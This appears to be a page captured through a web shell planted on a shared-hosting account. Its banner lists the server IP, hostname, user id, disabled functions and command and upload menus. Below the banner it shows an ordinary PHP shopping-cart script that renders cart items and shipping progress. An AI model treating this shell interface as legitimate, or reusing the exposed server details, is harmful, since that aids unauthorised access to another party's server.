MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/.nvm/../public_html/lohri/user/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/.nvm/../public_html/lohri/user/get_cart_items.php
<?php
// get_cart_items.php
header('Content-Type: application/json');

require_once 'cart_handler.php';

function getShippingInfo($con, $cartTotal) {
    // Get shipping threshold from database
    $sql = "SELECT shipping_cost FROM shipping_rate LIMIT 1";
    $result = mysqli_query($con, $sql);

    if ($result && $row = mysqli_fetch_assoc($result)) {
        $shippingThreshold = floatval($row['shipping_cost']);
    } else {
        // If no value in DB, set to 0 or handle error
        $shippingThreshold = 0;
    }
    
    $remaining = max(0, $shippingThreshold - $cartTotal);
    $progress = $shippingThreshold > 0 ? min(100, ($cartTotal / $shippingThreshold) * 100) : 0;
    $isFreeShipping = $cartTotal >= $shippingThreshold;
    
    return [
        'threshold' => $shippingThreshold,
        'remaining' => $remaining,
        'progress' => $progress,
        'is_free' => $isFreeShipping
    ];
}


$cartItems = getCartItems($con);
$cartCount  = getCartCount();
$cartTotal  = getCartTotal($con);

$imageUrl = '../Images/Product';

// Generate HTML for cart items
$html = '';
if (!empty($cartItems)) {
    foreach ($cartItems as $item) {

        // Category
        $category = !empty($item['category']) ? htmlspecialchars($item['category']) : '';

        // Product Name
        $productName = htmlspecialchars($item['pname']);

        // Build attributes line: "Color: Green, Size: L"
        $attributesLine = '';
        if (!empty($item['attributes']) && is_array($item['attributes'])) {
            $pairs = [];
            foreach ($item['attributes'] as $key => $value) {
                $pairs[] = '<stron>' . ucfirst($key) . ':</stron> <span style="color:#666666;">' . htmlspecialchars(ucfirst($value)) . '</span>';
            }
            $attributesLine = implode(', ', $pairs);
        }

        $html .= '
        <div class="cart-item border-bottom py-3">
          <div class="d-flex gap-3">

            <!-- Product Image -->
            <img src="' . $imageUrl . '/' . htmlspecialchars($item['image']) . '"
                 alt="' . $productName . '"
                 class="rounded"
                 style="height:110px;width:82px;object-fit:cover;flex:0 0 auto;">

            <!-- Text + Controls -->
            <div class="flex-grow-1">

              <!-- Category, Product name, Variants -->
              <div class="mb-2">
                ' . ($category !== '' ? '<div class="text-muted small cart-sm">' . $category . '</div>' : '') . '
                <div class="fw-semibold lh-sm mb-2" style="color:#666666;font-size:15px;">' . $productName . '</div>
                ' . ($attributesLine !== '' ? '<div class="text-muted small cart-sm">' . $attributesLine . '</div>' : '') . '
              </div>

              <!-- Qty | Price | Delete -->
              <div class="d-flex align-items-center gap-3 mt-2">
                <div class="qty-box">
                  <button class="btn btn-sm"
                          onclick="updateCartQuantity(\'' . $item['cart_key'] . '\',' . max(1, (int)$item['quantity'] - 1) . ')">−</button>
                  <span class="val">' . (int)$item['quantity'] . '</span>
                  <button class="btn btn-sm"
                          onclick="updateCartQuantity(\'' . $item['cart_key'] . '\',' . ((int)$item['quantity'] + 1) . ')">+</button>
                </div>

                <div class="fw-semi" style="color:black;font-size:14px;font-weight:500">₹' . number_format($item['price'], 2) . '</div>

                <button class="btn btn-link text-muted p-0 ms-auto"
                        onclick="removeFromCart(\'' . $item['cart_key'] . '\')" aria-label="Remove">
                  <svg class="icon icon-delete" width="15" height="18" viewBox="0 0 15 18" fill="none" xmlns="http://www.w3.org/2000/svg">
                    <path d="M2.8077 17.4423C2.30898 17.4423 1.88302 17.2657 1.52982 16.9125C1.17661 16.5593 1 16.1333 1 15.6346V2.94231H0V1.44234H4.49997V0.557739H10.5V1.44234H15V2.94231H14V15.6346C14 16.1397 13.825 16.5673 13.475 16.9173C13.125 17.2673 12.6974 17.4423 12.1922 17.4423H2.8077ZM12.5 2.94231H2.49997V15.6346C2.49997 15.7243 2.52883 15.7981 2.58652 15.8558C2.64423 15.9135 2.71795 15.9423 2.8077 15.9423H12.1922C12.2692 15.9423 12.3397 15.9103 12.4038 15.8462C12.4679 15.782 12.5 15.7115 12.5 15.6346V2.94231ZM4.90385 13.9423H6.40382V4.94231H4.90385V13.9423ZM8.59613 13.9423H10.0961V4.94231H8.59613V13.9423Z" fill="currentColor"></path>
                  </svg>
                </button>
              </div>

            </div>
          </div>
        </div>';
    }
} else {
    $html = '
    <div class="text-center py-5">
        <p class="text-muted">Your cart is empty</p>
        <button class="btn btn-dark" data-bs-dismiss="offcanvas">Continue Shopping</button>
    </div>';
}

$shippingInfo = getShippingInfo($con, $cartTotal);

echo json_encode([
    'success' => true,
    'count'   => $cartCount,
    'total'   => number_format($cartTotal, 2),
    'html'    => $html,
    'items'   => $cartItems,
    'shipping' => $shippingInfo
]);
?>

MMCT - 2023